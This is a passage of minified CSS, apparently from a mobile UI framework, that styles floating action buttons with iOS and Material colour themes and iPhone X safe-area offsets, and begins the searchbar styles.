a+a{margin-top:16px}.fab-buttons-left,.fab-buttons-right{top:50%;height:40px;margin-top:-20px}.fab-buttons-left{right:100%;margin-right:16px}.fab-buttons-left a{-webkit-transform:translate3d(8px,0,0) scale(.3);transform:translate3d(8px,0,0) scale(.3);-webkit-transform-origin:right center;transform-origin:right center}.fab-buttons-left a+a{margin-right:16px}.fab-buttons-right{left:100%;margin-left:16px;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.fab-buttons-right a{-webkit-transform:translate3d(-8px,0,0) scale(.3);transform:translate3d(-8px,0,0) scale(.3);-webkit-transform-origin:left center;transform-origin:left center}.fab-buttons-right a+a{margin-left:16px}.fab-buttons-center{left:0;top:0;width:100%;height:100%}.fab-buttons-center a{position:absolute}.fab-buttons-center a:nth-child(1){left:50%;margin-left:-20px;bottom:100%;margin-bottom:16px;-webkit-transform:translateY(-8px) scale(.3);transform:translateY(-8px) scale(.3);-webkit-transform-origin:center bottom;transform-origin:center bottom}.fab-buttons-center a:nth-child(2){left:100%;margin-top:-20px;top:50%;margin-left:16px;-webkit-transform:translateX(-8px) scale(.3);transform:translateX(-8px) scale(.3);-webkit-transform-origin:left center;transform-origin:left center}.fab-buttons-center a:nth-child(3){left:50%;margin-left:-20px;top:100%;margin-top:16px;-webkit-transform:translateY(8px) scale(.3);transform:translateY(8px) scale(.3);-webkit-transform-origin:center top;transform-origin:center top}.fab-buttons-center a:nth-child(4){right:100%;margin-top:-20px;top:50%;margin-right:16px;-webkit-transform:translateX(8px) scale(.3);transform:translateX(8px) scale(.3);-webkit-transform-origin:right center;transform-origin:right center}.fab-opened.fab-morph>a i{opacity:0}.fab-morph,.fab-morph-target,.fab-morph>a{-webkit-transition-duration:250ms;transition-duration:250ms}.fab-morph-target:not(.fab-morph-target-visible){display:none}.fab-extended{width:auto}.fab-extended>a{width:100%!important}.fab-text{padding-left:20px;padding-right:20px;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:14px;text-transform:uppercase}.fab-label-button{overflow:visible!important}.fab-label{position:absolute;top:50%;padding:4px 12px;border-radius:4px;background:#fff;color:#333;white-space:nowrap;-webkit-transform:translateY(-50%);transform:translateY(-50%);pointer-events:none}.fab[class*=fab-right-] .fab-label{right:100%;margin-right:8px}.fab[class*=fab-left-] .fab-label{left:100%;margin-left:8px}.ios .fab-buttons a,.ios .fab>a{background:#007aff;width:50px;height:50px;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.4);box-shadow:0 2px 4px rgba(0,0,0,.4);border-radius:25px;color:#fff}.ios .fab-buttons a.active-state,.ios .fab>a.active-state{-webkit-transition-duration:0s;transition-duration:0s;background:#0066d6}.ios .fab-buttons a i.icon,.ios .fab>a i.icon{font-size:21px}.ios .fab[class*=fab-left]{left:15px}.ios .fab[class*=fab-right]{right:15px}.ios .fab[class*="-top"]{top:15px}.ios .fab[class*="-bottom"]{bottom:15px}.ios .navbar~* .fab[class*="-top"],.ios .navbar~.fab[class*="-top"]{margin-top:44px}.ios .toolbar~* .fab[class*="-bottom"],.ios .toolbar~.fab[class*="-bottom"]{margin-bottom:44px}.ios .tabbar-labels~* .fab[class*="-bottom"],.ios .tabbar-labels~.fab[class*="-bottom"]{margin-bottom:50px}@media (min-width:768px){.ios .tabbar-labels~* .fab[class*="-bottom"],.ios .tabbar-labels~.fab[class*="-bottom"]{margin-bottom:56px}}.ios .fab-morph{border-radius:25px;background:#007aff;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.4);box-shadow:0 2px 4px rgba(0,0,0,.4)}.ios .fab-morph>a{-webkit-box-shadow:none;box-shadow:none;background:0 0!important}.ios .fab-extended{min-width:50px}.ios .fab-extended>a{width:100%;height:50px}.ios .fab-extended>a i{left:25px}.ios .fab-extended i~.fab-text{padding-left:50px}.ios .fab-label{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.4);box-shadow:0 1px 2px rgba(0,0,0,.4)}.ios .color-theme-red .fab-buttons a,.ios .color-theme-red .fab>a,.ios .color-theme-red.fab-buttons a,.ios .color-theme-red.fab>a{background:#ff3b30}.ios .color-theme-red .fab-buttons a.active-state,.ios .color-theme-red .fab>a.active-state,.ios .color-theme-red.fab-buttons a.active-state,.ios .color-theme-red.fab>a.active-state{background:#ff1407}.ios .color-theme-red .fab-morph,.ios .color-theme-red.fab-morph{background:#ff3b30}.ios .color-theme-green .fab-buttons a,.ios .color-theme-green .fab>a,.ios .color-theme-green.fab-buttons a,.ios .color-theme-green.fab>a{background:#4cd964}.ios .color-theme-green .fab-buttons a.active-state,.ios .color-theme-green .fab>a.active-state,.ios .color-theme-green.fab-buttons a.active-state,.ios .color-theme-green.fab>a.active-state{background:#2cd048}.ios .color-theme-green .fab-morph,.ios .color-theme-green.fab-morph{background:#4cd964}.ios .color-theme-blue .fab-buttons a,.ios .color-theme-blue .fab>a,.ios .color-theme-blue.fab-buttons a,.ios .color-theme-blue.fab>a{background:#007aff}.ios .color-theme-blue .fab-buttons a.active-state,.ios .color-theme-blue .fab>a.active-state,.ios .color-theme-blue.fab-buttons a.active-state,.ios .color-theme-blue.fab>a.active-state{background:#0066d6}.ios .color-theme-blue .fab-morph,.ios .color-theme-blue.fab-morph{background:#007aff}.ios .color-theme-pink .fab-buttons a,.ios .color-theme-pink .fab>a,.ios .color-theme-pink.fab-buttons a,.ios .color-theme-pink.fab>a{background:#ff2d55}.ios .color-theme-pink .fab-buttons a.active-state,.ios .color-theme-pink .fab>a.active-state,.ios .color-theme-pink.fab-buttons a.active-state,.ios .color-theme-pink.fab>a.active-state{background:#ff0434}.ios .color-theme-pink .fab-morph,.ios .color-theme-pink.fab-morph{background:#ff2d55}.ios .color-theme-yellow .fab-buttons a,.ios .color-theme-yellow .fab>a,.ios .color-theme-yellow.fab-buttons a,.ios .color-theme-yellow.fab>a{background:#fc0}.ios .color-theme-yellow .fab-buttons a.active-state,.ios .color-theme-yellow .fab>a.active-state,.ios .color-theme-yellow.fab-buttons a.active-state,.ios .color-theme-yellow.fab>a.active-state{background:#d6ab00}.ios .color-theme-yellow .fab-morph,.ios .color-theme-yellow.fab-morph{background:#fc0}.ios .color-theme-orange .fab-buttons a,.ios .color-theme-orange .fab>a,.ios .color-theme-orange.fab-buttons a,.ios .color-theme-orange.fab>a{background:#ff9500}.ios .color-theme-orange .fab-buttons a.active-state,.ios .color-theme-orange .fab>a.active-state,.ios .color-theme-orange.fab-buttons a.active-state,.ios .color-theme-orange.fab>a.active-state{background:#d67d00}.ios .color-theme-orange .fab-morph,.ios .color-theme-orange.fab-morph{background:#ff9500}.ios .color-theme-gray .fab-buttons a,.ios .color-theme-gray .fab>a,.ios .color-theme-gray.fab-buttons a,.ios .color-theme-gray.fab>a{background:#8e8e93}.ios .color-theme-gray .fab-buttons a.active-state,.ios .color-theme-gray .fab>a.active-state,.ios .color-theme-gray.fab-buttons a.active-state,.ios .color-theme-gray.fab>a.active-state{background:#79797f}.ios .color-theme-gray .fab-morph,.ios .color-theme-gray.fab-morph{background:#8e8e93}.ios .color-theme-white .fab-buttons a,.ios .color-theme-white .fab>a,.ios .color-theme-white.fab-buttons a,.ios .color-theme-white.fab>a{background:#fff}.ios .color-theme-white .fab-buttons a.active-state,.ios .color-theme-white .fab>a.active-state,.ios .color-theme-white.fab-buttons a.active-state,.ios .color-theme-white.fab>a.active-state{background:#ebebeb}.ios .color-theme-white .fab-morph,.ios .color-theme-white.fab-morph{background:#fff}.ios .color-theme-black .fab-buttons a,.ios .color-theme-black .fab>a,.ios .color-theme-black.fab-buttons a,.ios .color-theme-black.fab>a{background:#000}.ios .color-theme-black .fab-buttons a.active-state,.ios .color-theme-black .fab>a.active-state,.ios .color-theme-black.fab-buttons a.active-state,.ios .color-theme-black.fab>a.active-state{background:#000}.ios .color-theme-black .fab-morph,.ios .color-theme-black.fab-morph{background:#000}.ios .fab .fab-buttons>a.color-red,.ios .fab-buttons.color-red a,.ios .fab.color-red .fab-buttons>a,.ios .fab.color-red>a,.ios .fab>a.color-red{background:#ff3b30}.ios .fab .fab-buttons>a.color-red.active-state,.ios .fab-buttons.color-red a.active-state,.ios .fab.color-red .fab-buttons>a.active-state,.ios .fab.color-red>a.active-state,.ios .fab>a.color-red.active-state{background:#ff1407}.ios .fab-morph.color-red{background:#ff3b30}.ios .fab .fab-buttons>a.color-green,.ios .fab-buttons.color-green a,.ios .fab.color-green .fab-buttons>a,.ios .fab.color-green>a,.ios .fab>a.color-green{background:#4cd964}.ios .fab .fab-buttons>a.color-green.active-state,.ios .fab-buttons.color-green a.active-state,.ios .fab.color-green .fab-buttons>a.active-state,.ios .fab.color-green>a.active-state,.ios .fab>a.color-green.active-state{background:#2cd048}.ios .fab-morph.color-green{background:#4cd964}.ios .fab .fab-buttons>a.color-blue,.ios .fab-buttons.color-blue a,.ios .fab.color-blue .fab-buttons>a,.ios .fab.color-blue>a,.ios .fab>a.color-blue{background:#007aff}.ios .fab .fab-buttons>a.color-blue.active-state,.ios .fab-buttons.color-blue a.active-state,.ios .fab.color-blue .fab-buttons>a.active-state,.ios .fab.color-blue>a.active-state,.ios .fab>a.color-blue.active-state{background:#0066d6}.ios .fab-morph.color-blue{background:#007aff}.ios .fab .fab-buttons>a.color-pink,.ios .fab-buttons.color-pink a,.ios .fab.color-pink .fab-buttons>a,.ios .fab.color-pink>a,.ios .fab>a.color-pink{background:#ff2d55}.ios .fab .fab-buttons>a.color-pink.active-state,.ios .fab-buttons.color-pink a.active-state,.ios .fab.color-pink .fab-buttons>a.active-state,.ios .fab.color-pink>a.active-state,.ios .fab>a.color-pink.active-state{background:#ff0434}.ios .fab-morph.color-pink{background:#ff2d55}.ios .fab .fab-buttons>a.color-yellow,.ios .fab-buttons.color-yellow a,.ios .fab.color-yellow .fab-buttons>a,.ios .fab.color-yellow>a,.ios .fab>a.color-yellow{background:#fc0}.ios .fab .fab-buttons>a.color-yellow.active-state,.ios .fab-buttons.color-yellow a.active-state,.ios .fab.color-yellow .fab-buttons>a.active-state,.ios .fab.color-yellow>a.active-state,.ios .fab>a.color-yellow.active-state{background:#d6ab00}.ios .fab-morph.color-yellow{background:#fc0}.ios .fab .fab-buttons>a.color-orange,.ios .fab-buttons.color-orange a,.ios .fab.color-orange .fab-buttons>a,.ios .fab.color-orange>a,.ios .fab>a.color-orange{background:#ff9500}.ios .fab .fab-buttons>a.color-orange.active-state,.ios .fab-buttons.color-orange a.active-state,.ios .fab.color-orange .fab-buttons>a.active-state,.ios .fab.color-orange>a.active-state,.ios .fab>a.color-orange.active-state{background:#d67d00}.ios .fab-morph.color-orange{background:#ff9500}.ios .fab .fab-buttons>a.color-gray,.ios .fab-buttons.color-gray a,.ios .fab.color-gray .fab-buttons>a,.ios .fab.color-gray>a,.ios .fab>a.color-gray{background:#8e8e93}.ios .fab .fab-buttons>a.color-gray.active-state,.ios .fab-buttons.color-gray a.active-state,.ios .fab.color-gray .fab-buttons>a.active-state,.ios .fab.color-gray>a.active-state,.ios .fab>a.color-gray.active-state{background:#79797f}.ios .fab-morph.color-gray{background:#8e8e93}.ios .fab .fab-buttons>a.color-white,.ios .fab-buttons.color-white a,.ios .fab.color-white .fab-buttons>a,.ios .fab.color-white>a,.ios .fab>a.color-white{background:#fff}.ios .fab .fab-buttons>a.color-white.active-state,.ios .fab-buttons.color-white a.active-state,.ios .fab.color-white .fab-buttons>a.active-state,.ios .fab.color-white>a.active-state,.ios .fab>a.color-white.active-state{background:#ebebeb}.ios .fab-morph.color-white{background:#fff}.ios .fab .fab-buttons>a.color-black,.ios .fab-buttons.color-black a,.ios .fab.color-black .fab-buttons>a,.ios .fab.color-black>a,.ios .fab>a.color-black{background:#000}.ios .fab .fab-buttons>a.color-black.active-state,.ios .fab-buttons.color-black a.active-state,.ios .fab.color-black .fab-buttons>a.active-state,.ios .fab.color-black>a.active-state,.ios .fab>a.color-black.active-state{background:#000}.ios .fab-morph.color-black{background:#000}.ios.device-iphone-x .fab[class*="-bottom"]{bottom:calc(15px + constant(safe-area-inset-bottom));bottom:calc(15px + env(safe-area-inset-bottom))}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .fab[class*=fab-left],.ios.device-iphone-x .ios-left-edge .fab[class*=fab-left],.ios.device-iphone-x .panel-left .fab[class*=fab-left],.ios.device-iphone-x .popup .fab[class*=fab-left],.ios.device-iphone-x .sheet-modal .fab[class*=fab-left]{left:calc(15px + constant(safe-area-inset-left));left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .fab[class*=fab-right],.ios.device-iphone-x .ios-right-edge .fab[class*=fab-right],.ios.device-iphone-x .panel-right .fab[class*=fab-right],.ios.device-iphone-x .popup .fab[class*=fab-right],.ios.device-iphone-x .sheet-modal .fab[class*=fab-right]{right:calc(15px + constant(safe-area-inset-right));right:calc(15px + env(safe-area-inset-right))}}.md .fab-buttons a,.md .fab>a{background:#2196f3;width:56px;height:56px;border-radius:28px;color:#fff;-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12);box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}.md .fab-buttons a.active-state,.md .fab>a.active-state{background:#0c82df}.md .fab[class*=fab-left]{left:15px}.md .fab[class*=fab-right]{right:15px}.md .fab[class*="-top"]{top:15px}.md .fab[class*="-bottom"]{bottom:15px}.md .navbar~* .fab[class*="-top"],.md .navbar~.fab[class*="-top"]{margin-top:56px}@media (min-width:768px){.md .navbar~* .fab[class*="-top"],.md .navbar~.fab[class*="-top"]{margin-top:64px}}.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .fab[class*="-top"],.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~.fab[class*="-top"]{margin-top:48px}.md .tabbar-labels:not(.toolbar-bottom-md)~* .fab[class*="-top"],.md .tabbar-labels:not(.toolbar-bottom-md)~.fab[class*="-top"]{margin-top:72px}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .fab[class*="-top"],.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.fab[class*="-top"]{margin-top:104px}.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~* .fab[class*="-top"],.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~.fab[class*="-top"]{margin-top:128px}@media (min-width:768px){.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .fab[class*="-top"],.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.fab[class*="-top"]{margin-top:112px}.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~* .fab[class*="-top"],.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~.fab[class*="-top"]{margin-top:136px}}.md .messagebar~* .fab[class*="-bottom"],.md .messagebar~.fab[class*="-bottom"],.md .toolbar-bottom-md~* .fab[class*="-bottom"],.md .toolbar-bottom-md~.fab[class*="-bottom"]{margin-bottom:48px}.md .toolbar-bottom-md.tabbar-labels~* .fab[class*="-bottom"],.md .toolbar-bottom-md.tabbar-labels~.fab[class*="-bottom"]{margin-bottom:72px}.md .fab-morph{border-radius:28px;background:#2196f3;-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12);box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}.md .fab-morph>a{-webkit-box-shadow:none;box-shadow:none;background:0 0!important}.md .fab-extended{min-width:48px}.md .fab-extended>a{height:48px}.md .fab-extended>a i{left:24px}.md .fab-extended i~.fab-text{padding-left:48px}.md .fab-text{font-weight:500;letter-spacing:.03em}.md .fab-label{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12);box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)}.md .color-theme-red .fab-buttons a,.md .color-theme-red .fab>a,.md .color-theme-red.fab-buttons a,.md .color-theme-red.fab>a{background:#f44336}.md .color-theme-red .fab-buttons a.active-state,.md .color-theme-red .fab>a.active-state,.md .color-theme-red.fab-buttons a.active-state,.md .color-theme-red.fab>a.active-state{background:#f21f0f}.md .color-theme-red .fab-morph,.md .color-theme-red.fab-morph{background:#f44336}.md .color-theme-green .fab-buttons a,.md .color-theme-green .fab>a,.md .color-theme-green.fab-buttons a,.md .color-theme-green.fab>a{background:#4caf50}.md .color-theme-green .fab-buttons a.active-state,.md .color-theme-green .fab>a.active-state,.md .color-theme-green.fab-buttons a.active-state,.md .color-theme-green.fab>a.active-state{background:#409343}.md .color-theme-green .fab-morph,.md .color-theme-green.fab-morph{background:#4caf50}.md .color-theme-blue .fab-buttons a,.md .color-theme-blue .fab>a,.md .color-theme-blue.fab-buttons a,.md .color-theme-blue.fab>a{background:#2196f3}.md .color-theme-blue .fab-buttons a.active-state,.md .color-theme-blue .fab>a.active-state,.md .color-theme-blue.fab-buttons a.active-state,.md .color-theme-blue.fab>a.active-state{background:#0c82df}.md .color-theme-blue .fab-morph,.md .color-theme-blue.fab-morph{background:#2196f3}.md .color-theme-pink .fab-buttons a,.md .color-theme-pink .fab>a,.md .color-theme-pink.fab-buttons a,.md .color-theme-pink.fab>a{background:#e91e63}.md .color-theme-pink .fab-buttons a.active-state,.md .color-theme-pink .fab>a.active-state,.md .color-theme-pink.fab-buttons a.active-state,.md .color-theme-pink.fab>a.active-state{background:#ca1452}.md .color-theme-pink .fab-morph,.md .color-theme-pink.fab-morph{background:#e91e63}.md .color-theme-yellow .fab-buttons a,.md .color-theme-yellow .fab>a,.md .color-theme-yellow.fab-buttons a,.md .color-theme-yellow.fab>a{background:#ffeb3b}.md .color-theme-yellow .fab-buttons a.active-state,.md .color-theme-yellow .fab>a.active-state,.md .color-theme-yellow.fab-buttons a.active-state,.md .color-theme-yellow.fab>a.active-state{background:#ffe712}.md .color-theme-yellow .fab-morph,.md .color-theme-yellow.fab-morph{background:#ffeb3b}.md .color-theme-orange .fab-buttons a,.md .color-theme-orange .fab>a,.md .color-theme-orange.fab-buttons a,.md .color-theme-orange.fab>a{background:#ff9800}.md .color-theme-orange .fab-buttons a.active-state,.md .color-theme-orange .fab>a.active-state,.md .color-theme-orange.fab-buttons a.active-state,.md .color-theme-orange.fab>a.active-state{background:#d68000}.md .color-theme-orange .fab-morph,.md .color-theme-orange.fab-morph{background:#ff9800}.md .color-theme-gray .fab-buttons a,.md .color-theme-gray .fab>a,.md .color-theme-gray.fab-buttons a,.md .color-theme-gray.fab>a{background:#9e9e9e}.md .color-theme-gray .fab-buttons a.active-state,.md .color-theme-gray .fab>a.active-state,.md .color-theme-gray.fab-buttons a.active-state,.md .color-theme-gray.fab>a.active-state{background:#8a8a8a}.md .color-theme-gray .fab-morph,.md .color-theme-gray.fab-morph{background:#9e9e9e}.md .color-theme-white .fab-buttons a,.md .color-theme-white .fab>a,.md .color-theme-white.fab-buttons a,.md .color-theme-white.fab>a{background:#fff}.md .color-theme-white .fab-buttons a.active-state,.md .color-theme-white .fab>a.active-state,.md .color-theme-white.fab-buttons a.active-state,.md .color-theme-white.fab>a.active-state{background:#ebebeb}.md .color-theme-white .fab-morph,.md .color-theme-white.fab-morph{background:#fff}.md .color-theme-black .fab-buttons a,.md .color-theme-black .fab>a,.md .color-theme-black.fab-buttons a,.md .color-theme-black.fab>a{background:#000}.md .color-theme-black .fab-buttons a.active-state,.md .color-theme-black .fab>a.active-state,.md .color-theme-black.fab-buttons a.active-state,.md .color-theme-black.fab>a.active-state{background:#000}.md .color-theme-black .fab-morph,.md .color-theme-black.fab-morph{background:#000}.md .fab .fab-buttons>a.color-red,.md .fab-buttons.color-red a,.md .fab.color-red .fab-buttons>a,.md .fab.color-red>a,.md .fab>a.color-red{background:#f44336}.md .fab .fab-buttons>a.color-red.active-state,.md .fab-buttons.color-red a.active-state,.md .fab.color-red .fab-buttons>a.active-state,.md .fab.color-red>a.active-state,.md .fab>a.color-red.active-state{background:#f21f0f}.md .fab-morph.color-red{background:#f44336}.md .fab .fab-buttons>a.color-green,.md .fab-buttons.color-green a,.md .fab.color-green .fab-buttons>a,.md .fab.color-green>a,.md .fab>a.color-green{background:#4caf50}.md .fab .fab-buttons>a.color-green.active-state,.md .fab-buttons.color-green a.active-state,.md .fab.color-green .fab-buttons>a.active-state,.md .fab.color-green>a.active-state,.md .fab>a.color-green.active-state{background:#409343}.md .fab-morph.color-green{background:#4caf50}.md .fab .fab-buttons>a.color-blue,.md .fab-buttons.color-blue a,.md .fab.color-blue .fab-buttons>a,.md .fab.color-blue>a,.md .fab>a.color-blue{background:#2196f3}.md .fab .fab-buttons>a.color-blue.active-state,.md .fab-buttons.color-blue a.active-state,.md .fab.color-blue .fab-buttons>a.active-state,.md .fab.color-blue>a.active-state,.md .fab>a.color-blue.active-state{background:#0c82df}.md .fab-morph.color-blue{background:#2196f3}.md .fab .fab-buttons>a.color-pink,.md .fab-buttons.color-pink a,.md .fab.color-pink .fab-buttons>a,.md .fab.color-pink>a,.md .fab>a.color-pink{background:#e91e63}.md .fab .fab-buttons>a.color-pink.active-state,.md .fab-buttons.color-pink a.active-state,.md .fab.color-pink .fab-buttons>a.active-state,.md .fab.color-pink>a.active-state,.md .fab>a.color-pink.active-state{background:#ca1452}.md .fab-morph.color-pink{background:#e91e63}.md .fab .fab-buttons>a.color-yellow,.md .fab-buttons.color-yellow a,.md .fab.color-yellow .fab-buttons>a,.md .fab.color-yellow>a,.md .fab>a.color-yellow{background:#ffeb3b}.md .fab .fab-buttons>a.color-yellow.active-state,.md .fab-buttons.color-yellow a.active-state,.md .fab.color-yellow .fab-buttons>a.active-state,.md .fab.color-yellow>a.active-state,.md .fab>a.color-yellow.active-state{background:#ffe712}.md .fab-morph.color-yellow{background:#ffeb3b}.md .fab .fab-buttons>a.color-orange,.md .fab-buttons.color-orange a,.md .fab.color-orange .fab-buttons>a,.md .fab.color-orange>a,.md .fab>a.color-orange{background:#ff9800}.md .fab .fab-buttons>a.color-orange.active-state,.md .fab-buttons.color-orange a.active-state,.md .fab.color-orange .fab-buttons>a.active-state,.md .fab.color-orange>a.active-state,.md .fab>a.color-orange.active-state{background:#d68000}.md .fab-morph.color-orange{background:#ff9800}.md .fab .fab-buttons>a.color-gray,.md .fab-buttons.color-gray a,.md .fab.color-gray .fab-buttons>a,.md .fab.color-gray>a,.md .fab>a.color-gray{background:#9e9e9e}.md .fab .fab-buttons>a.color-gray.active-state,.md .fab-buttons.color-gray a.active-state,.md .fab.color-gray .fab-buttons>a.active-state,.md .fab.color-gray>a.active-state,.md .fab>a.color-gray.active-state{background:#8a8a8a}.md .fab-morph.color-gray{background:#9e9e9e}.md .fab .fab-buttons>a.color-white,.md .fab-buttons.color-white a,.md .fab.color-white .fab-buttons>a,.md .fab.color-white>a,.md .fab>a.color-white{background:#fff}.md .fab .fab-buttons>a.color-white.active-state,.md .fab-buttons.color-white a.active-state,.md .fab.color-white .fab-buttons>a.active-state,.md .fab.color-white>a.active-state,.md .fab>a.color-white.active-state{background:#ebebeb}.md .fab-morph.color-white{background:#fff}.md .fab .fab-buttons>a.color-black,.md .fab-buttons.color-black a,.md .fab.color-black .fab-buttons>a,.md .fab.color-black>a,.md .fab>a.color-black{background:#000}.md .fab .fab-buttons>a.color-black.active-state,.md .fab-buttons.color-black a.active-state,.md .fab.color-black .fab-buttons>a.active-state,.md .fab.color-black>a.active-state,.md .fab>a.color-black.active-state{background:#000}.md .fab-morph.color-black{background:#000}.md.device-iphone-x .fab[class*="-bottom"]{bottom:calc(16px + constant(safe-area-inset-bottom));bottom:calc(16px + env(safe-area-inset-bottom))}@media (orientation:landscape){.md.device-iphone-x .ios-edges .fab[class*=fab-left],.md.device-iphone-x .ios-left-edge .fab[class*=fab-left],.md.device-iphone-x .panel-left .fab[class*=fab-left],.md.device-iphone-x .popup .fab[class*=fab-left],.md.device-iphone-x .sheet-modal .fab[class*=fab-left]{left:calc(16px + constant(safe-area-inset-left));left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .fab[class*=fab-right],.md.device-iphone-x .ios-right-edge .fab[class*=fab-right],.md.device-iphone-x .panel-right .fab[class*=fab-right],.md.device-iphone-x .popup .fab[class*=fab-right],.md.device-iphone-x .sheet-modal .fab[class*=fab-right]{right:calc(16px + constant(safe-area-inset-right));right:calc(16px + env(safe-area-inset-right))}}.searchbar{width:100%;position:relative;z-index:200}.searchbar .searchbar-input-wrap{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:100%;height:100%;position:relative}.searchbar .searchbar-input-wrap input[type=search]{padding:0}.searchbar .searchbar-input-wrap input::-webkit-search-cancel-button{-webkit-appearance:none;appearance:none}.page>.searchbar{position:absolute;left:0;top:0}.searchbar-expandable{position:absolute;-webkit-transition-duration:.3s;transition-duration:.3s;pointer-events:none}.searchbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.searchbar-disable-button{cursor:pointer;pointer-events:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;border:none;outline:0;padding:0;margin:0;width:auto;opacity:0}.searchbar-icon{pointer-events:none;background-position:center;background-repeat:no-repeat}.searchbar-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;z-index:100;opacity:0;pointer-events:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.searchbar-backdrop.searchbar-backdrop-in{opacity:1;pointer-events:auto}.page-content>.searchbar-backdrop{position:fixed}.searchbar-not-found{display:none}.hidden-by-searchbar,.list .hidden-by-searchbar,.list li.hidden-by-searchbar,.list.li.hidden-by-searchbar{display:none!important}.ios .searchbar{height:44px;background:#f7f7f8}.ios .searchbar.no-hairline:after{display:none!important}.ios .searchbar input[type=search],.ios .searchbar input[type=text]{padding:0 28px;-webkit-box-sizing:border-box;box-sizing:border-box;width:100%;height:100%;display:block;border:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;border-radius:10px;border-radius:8px;font-family:inherit;color:#000;font-size:17px;font-weight:400;z-index:30;background-color:#e8e8ea;position:relative}.ios .searchbar input[type=search]::-webkit-input-placeholder,.ios .searchbar input[type=text]::-webkit-input-placeholder{color:#939398;opacity:1}.ios .searchbar input[type=search]:-ms-input-placeholder,.ios .searchbar input[type=text]:-ms-input-placeholder{color:#939398;opacity:1}.ios .searchbar input[type=search]::-ms-input-placeholder,.ios .searchbar input[type=text]::-ms-input-placeholder{color:#939398;opacity:1}.ios .searchbar input[type=search]::placeholder,.ios .searchbar input[type=text]::placeholder{color:#939398;opacity:1}.ios .searchbar .input-clear-button{z-index:40;left:7px}.ios .searchbar-inner{padding:0 8px}.ios .searchbar-icon{width:13px;height:13px;position:absolute;top:50%;margin-top:-6px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2013'%20enable-background%3D'new%200%200%2013%2013'%3E%3Cg%3E%3Cpath%20fill%3D'%23939398'%20d%3D'M5%2C1c2.2%2C0%2C4%2C1.8%2C4%2C4S7.2%2C9%2C5%2C9S1%2C7.2%2C1%2C5S2.8%2C1%2C5%2C1%20M5%2C0C2.2%2C0%2C0%2C2.2%2C0%2C5s2.2%2C5%2C5%2C5s5-2.2%2C5-5S7.8%2C0%2C5%2C0%20L5%2C0z'%2F%3E%3C%2Fg%3E%3Cline%20stroke%3D'%23939398'%20stroke-miterlimit%3D'10'%20stroke-width%3D'1.5'%20x1%3D'12.6'%20y1%3D'12.6'%20x2%3D'8.2'%20y2%3D'8.2'%2F%3E%3C%2Fsvg%3E");background-size:13px 13px;z-index:40;right:8px}.ios .searchbar-backdrop{background:rgba(0,0,0,.4)}.ios .searchbar-input-wrap{height:32px}.ios .searchbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .searchbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .searchbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .searchbar-disable-button{font-size:17px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition-duration:.3s;transition-duration:.3s;color:#007aff;display:none}.ios .searchbar-disable-button.active-state{-webkit-transition-duration:0s;transition-duration:0s;opacity:.3!important}.ios .searchbar-enabled .searchbar-disable-button{pointer-events:auto;opacity:1;margin-right:8px}.ios .searchbar:not(.searchbar-enabled) .searchbar-disable-button{-webkit-transition-duration:.3s!important;transition-duration:.3s!important}.ios .searchbar-expandable{right:0;bottom:0;opacity:1;width:100%;height:0%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);overflow:hidden}.ios .searchbar-expandable .searchbar-disable-button{margin-right:8px;opacity:1;display:block}.ios .searchbar-expandable .searchbar-inner{height:44px}.ios 